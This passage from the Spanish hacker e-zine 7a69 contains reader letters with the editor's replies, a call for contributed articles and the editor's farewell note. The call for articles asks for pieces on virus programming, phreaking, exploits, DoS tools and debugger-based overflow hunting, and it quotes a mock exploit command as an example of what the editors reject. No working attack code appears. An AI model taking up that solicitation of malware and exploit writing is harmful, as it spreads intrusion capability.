Hola integrantes de 7a69, he de fecilitarles por el trabajo que estan
haciendo, al mismo tiempo que les hago una propuesta. Resulta que somos
actualmente un grupo de unos 10 aprendices de hacker, que tenemos la
intencion de hacer un protal de internet orientado al underground
informatico, para ello presisamos de la ayuda de ustedes. Nos hemos
puesto en cantacto tambien, al mismo tiempo que con ustedes, con gente
de SET, DP y JJF (los ezines, que a nuestra umilde opinion, son mas
completos en la actualidad). Es por ello que si estan intresados nos
respondan este E-mail. Ademas nos gustaria que hicieran publicidad en
el e-zine, por si otro aprendiz de hacker se interesa.
<Ripe: De momento nosotros estamos muy liados para
colaborar en grupo, de todos modos, si algun
miembro de nuestro staff o grupo de
colaboradores esta intresado en ayudaros
supongo que se pondra en contacto con vosotros,
mucha suerte con vuestro portal.>
-------------------------------------------------------------------------------
---{ 08 }----------------------------------------------------------------------
Hola he visitado tu pagina y me ha gustado mucho, sobre todo el diseño,
te ruego me facilites direcciones y enlaces para poder hacerlo yo tambien.
<Ripe: Que curioso, siempre habia dicho nuestra pagina no
destacaba por el diseño... bueno, aun asi, gacias>
Localice un sitio que te duplican las visitas al mostrar una pagina de otros
usuarios de este modo ellos muestran la tuya a otra persona es gratis y a mi
me ha aumentado muchisimo las visitas podras comprobar que en menos de un mes
he superado las 15.000.
<Ripe: Tendriamos 15.000 vistitas en un mes? No esta mal pero
a cuantas les intresaria el tema de la pagina?>
bueno te adjunto el link por si deseas investigarlo.
http://www.adexit.com/enter.php3?id=38d857f9482de91f0b1adf42d3075385
<Ripe: Apuntado esta>
No olvides por favor, lo del diseño.
<Ripe: Una recomendacion... crea un concurso de diseño
grafico y haz que los demas trabajen por ti :)>
-~-~-~-~-~- http://supercomputer.at/supercomputer/ -~-~-~-~-~
Un cordial saludo
saludo
-------------------------------------------------------------------------------
---{ 09 }----------------------------------------------------------------------
Estimados compañeros en este mundo de la informática, internet y
especialmente el Underground.
<Ripe: Buenos dias>
Les enviamos un cordial saludo desde PuebloDigital.com, un portal de
temática underground que está actualmente en aspectos de desarrollo pero que
ya dispone de una version funcional y con unos primeros contenidos.
Les enviamos este correo para realizar la posibilidad de que inserten un
enlace hacia www.pueblodigital.com para ayudarnos en aspectos de promoci¢n.
Actualmente más de 100.000 personas han pasado por nuestras páginas en el
tiempo que llevamos, y si son tan amables de insertar un enlace en su web,
rogamos nos lo hagan saber para poder as¡ colocar un enlace rec¡proco de
forma visible en nuestra página.
<Ripe: Cuando actualicemos la secciond e links os
metemos...>
Sin más y deseandoles una feliz navidad, quedamos a su disposici¢n para
futuras operaciones o solucitudes que ustedes nos quieran hacer llegar.
<Ripe: Feliz navidad... hou hou hou>
Atentamente:
[Eu2k] - eu2k@pueblodigital.com
Direcci¢n de: PuebloDigital.com
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
<Ripe: :-?? no se ingles, sorry :)>
-----------------------------------------------------------------------------
En el proximo numero.... mas. Y recordad la nueva direccion de correo:
staff@7a69ezine.org
/----------------------------------------------------------------------------\
|-[ 18 ]----[ Proyectos ]----[ ]---------------------------------------------|
\-----------------------------------------------------------------[ Editor ]-/
Hay varias formas de mirar al futuro. Los videntes tratan de saber que
sucedera, y en la mayoria de los casos cobran por ello, nostros tratamos
de planificar un futuro mejor y no cobramos ni un euro.
Euros. La nueva monerda europea cuya implantacion a necesitado una
planificacion de futuro, unos proyectos. Es facil pues, deducir que para
que una cosa progrese de forma satisfactoria es necesaria una planificacion,
y eso es lo que nosotros, el staff de 7a69, pretendemos con esta seccion. Dar
a conocer nuestros proyectos, y esperar que vostros no ayudeis a cumplirlos
para un futuro mejor. No he ido a ningun vidente, pero estoy convencido que
alguien, en algun lugar del mundo, puede ayudarnos y lo hara. Quiza eres tu,
o quiza no.... posiblemente sea la persona que mas odias... o la que mas
quieres. Pero que importa eso si estamos unidos en una misma causa, crecer.
Crecer como personas y como publicacion, ganar conocimientos y transmitirlos,
ese es nuestro principal proyecto, ahi seguro que puedes ayudar. No hay nadie
sin conocimientos.
Dejando de lado tanta filosofia y palabreria medio inutil pasaremos al grano,
a lo que realmente esta seccion se dedica, a dar a conocer nuestros proyectos,
esperando que alguien heche una mano.
1.- ELECTRONICA: No es un tema que hayamos tratado demasiado, sinembargo, a
mi opinion es un tema de interes. Pero que yo sepa, nadi de
7a69 tiene demasiados conocimientos del tema, por lo que
precisamos te tu ayuda.
2.- PHREAK: Parece que en 7a69 esta empezando a tener cabida el phreaking. Si
bien es un tema que en gran parte esta relacionado con la
electronica tambien toca otros campos menos electricos :)
3.- TRADUCCIONES: Hay realmente mucha gente que not tiene los conocimientos
tecnicos que se requieren para escribir en una publicacion
como esta, pero que, sinembargo, conoce idiomas. Pues puedes
ser de ayuda para nostros. Si cres que tienes tiempo para
realizar traducciones de textos en otras lenguas solo tienes
que mandar un mail a staff@7a69ezine.org dando a conocer los
idiomas que dominas y nostros nos pondremos en contacto
contigo.
4.- NOTICIAS: No cabe ninguna duda que en el mundo de la seguridad informatica
la actualidad es importantisima, es por ello que en 7a69
pretendemos crear un grupo de redactores de noticias. Si te ves
con animo... mandanos un mail.
5.- VIRII: Un tema poco tratado tecnicamente en 7a69... seria quiza intresante
que alguien se animase a explicar como se programan los virus en
las distintas plataformas (DOS, Win32, Linux, Amiga, MAC, y lo que
caiga), asi que ya sabes... experimenta con ese viejo MAC que ya no
usas para nada :P
6.- HACK's: ¿Quieres dar a conocer tu primer hack? ¿Quiza el ultimo? o uno
cualquiera.... pues adelante. (No se aceptaran hacks del estilo
./xploit -p 0x67fh67aa -r 54 -t 78 -v, no se si me entendeis,
buscamos algo mas elavorado).
7.- SO's: Cursos de Sistemas Operativos poco conocidos, implementacines de
Sistemas Operativos, o cualquier cosa relacionada con los
SO's :)
8.- HUMOR: Buscamos tambien ingeniosos articulos de humor que hagan despertar
una sonrisa entre el sudor que provocan los articulos tecnicos, si
te cres mejor que Gila escribe para nosotros :P
9.- BUGS: ¿Has programado un xploit o un DoS? ¿Quieres comentarlo, explicar
como funciona? Pues adelante. Tambien puedes comentar exploits programados
por otras personas.
10.- DEBUGERS: Bien el uso de los debugers que tan importante es en la depuracion
de programas, o en la explotacion O:-) Si te ves con corazon de
explicar como funcionan, y centrarte en como usarlo para buscar
b0fs, heaps, o lo que sea pues... venga.
Proyectos, proyectos y mas proyectos. A ver cuantos de ellos se acaban completando
con exito. Recuerda que ello depende, en parte, de ti. Para cualquier sugerencia,
peticion, aviso o queja te escucharemos en:
staff@7a69ezine.org
Y recordad, nuestra clave PGP es:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org
mQGiBDqNsHERBADuf1T/PALbaLzZ03evnGbanQ9YLErEz/kie/C4JxQn1xmPgje5
8YIegDphLJwxiw90pueS7DO27Q3Dt8OOIX7kKVv9ho/O7RbD8rrnRSok/31JxPQH
A6X4xZvLB3Oo2dm9FUWBMAfMVurhuydsnumLe8yvI9su1IY0zP31zMiIywCghfjl
Sh5w54cJpTQkcOT+hwRl9B0EAIB+J4hhw2lbafSaU9mKDJQ1rWfKZVlzQ0H6inTB
m7hF//puNcSwA7VJrTV09AkbAdImTm+vdF02XuitzUVCOEBwkTL3PqXEcQDex13N
3oSHtiZnD7P8/Khj9OhPpyr3Pn+fxzx1Z/Zfhk+JmDeaqgEwlR/f9V2+aZbMWJcD
YVZPBADe0uCX5gDucquY+Iz8sXFEj2wAoebSEBnIO1GSqxL7U0knxisnxXyD1Or0
+G2AMuytLVWK1uIFEURJJuPhulm2DFB+80jboDwD4gMMGReaYh2HzuOOj4SnHgQ3
U/z+U89kmbNFFaU4p9nWNljVe7+3UXU/JSGqDmPLCZHEa7TB/LQlc3RhZmYgN2E2
OWV6aW5lIDxzdGFmZkA3YTY5ZXppbmUub3JnPohXBBMRAgAXBQI6jbBxBQsHCgME
AxUDAgMWAgECF4AACgkQF8LCssw26aDc5gCfbpNKCy0FDdQsAqI7C7PL4a4C3N4A
nj/yx+535Wau6THFjMakw4mEUAZZuQENBDqNsHUQBACXGYBvt/53E5kBea+Vwi3S
kg6t//gCGg/+xSlYkOQTbcer3GUNYMP6pXvXoDAb59CwlOIuPi37NTWn28KHGNaW
gkyz4BBYWg0VMQo0LVgToMgwRlxugr7pgum82UiLT1xD4Xhjq1Go5VBVFr5UjE0f
WSejK68gaFC4fS87oN+HWwADBQP+L2f1b790Ied3C8iVLeoKtbmUTf7j8v0AjLMQ
uErE7n3nshHn4A7qglN5ube1aKLaElsKxfDT5hvxS2t1RFnJTkQsobLeZ24BefeB
MPEnlYdiJ1rlqqt2vDh8nlsOCqbgkfC9lQ70KGDG/ZpwkWeCHbhWtFi1M3pdYw5v
9tDo2ZCIRgQYEQIABgUCOo2wdQAKCRAXwsKyzDbpoHNdAJ9axUWFn+S7tvBuavYJ
7XUduYGQmwCfRaKaO4Xw6frJsTYzfntWTJZHjbc=
=zQ32
-----END PGP PUBLIC KEY BLOCK-----
*EOF*
/----------------------------------------------------------------------------\
|-[ 18 ]----[ Despedida ]----[ - ]-------------------------------------------|
\-----------------------------------------------------------------[ Editor ]-/
No se si os habreis fijado que al final de las peliculas de terror el malo
se resiste siempre a morir. Parece que ya no se va a levantar mas pero lo
hace una y otra vez, y lo volverian a hacer si los directores de cine no se
vieran obligados a hacer que sus peliculas terminen, y que lo hagan de forma
feliz.
Mas se uno habra pensado que 7a69 habia muerto, pero como podeis ver no es
asi, seguimos aguantando en esta pelicula de terror que es la vida. Curiosa
la comparacion ¿no? ¿Quienes son los buenos y los malos en esta pelicula?
Bah! tampoco importa demasiado, el caso es que ha costado pero el numero se
ha completado con exito y BIEN, muy BIEN.
Ha llovido mucho desde que 7a69#9 vio la luz, y por desgracia tambien ha
habido muchos terremotos, y no es una metafora. Es por eso que debemos estar
mas que nunca unidos para ayudar a esos paises necesitados, como El Salvador,
que no gana para disgustos.
¿Tratando temas tristes? Todas las despedidas lo son, de todos modos esto no
es realmente una despedida sino un hasta dentro de 2 o 3 meses, tiempo que
tardaremos en poner a punto y a tu entera disposicion 7a69#11, como siempre
superandonos a nosotros mismos. Nueva epoca, nuevo staff... y nuevo editor,
pues apartir del proximo numero trycky sera el principal encargado de la
edicion de 7a69, le deseo suerte, y espero que trabaje duro, al igual que el
resto del staff para satisfacer a los lectores. ¿Quien lo iba a decir? Ripe
deja de editar 7a69.... No os asusteis, que seguire al pie del cañon con
mis articulos, y quien sabe si retomando la edicion del ezine mas adelante,
o quiza lo haga otro. Puede parecer que no, pero la tarea de editor de un
ezine requiere muchas horas y mucho trabajo, y yo ahora no dispongo de ello.
Esta ha sido la principal causa del retraso que este numero de la revista ha
tenido. Pero vasta de royos y a lo que vamos.... a despedirnos y a saludar a
la gente ;>
Adios a todos y un saludo a mi abuela (que en paz descanse), a mi madre (por
lo mal que lo ha pasado), a todos los lectores (ahi estas incluido tu),
miembros y colaboradores del staff de 7a69, y al señor Tssssst por las
criticas realizadas contra mi persona :). Y un saludo especial a... bueno,
ella ya sabe quien es, un besazo.
Y dentro de poco... segundo aniversario.
** NOTA PARA IREICK **
Hemos estado tratando de localizarte, yo por ejemplo te he mandado unos
cuantos SMSs y te he llamado un par de vece, pero no hay respuesta. He
de reconocerte que casi ligo con la chica que dice "el movil al que
usted llama no acepta llamadas entrantes" :)
Bueno solo eso... si estas leiendo esto hechame un toke al movil, al mail
o donde sea. Mucha suerte.
** NOTA PARA IREICK **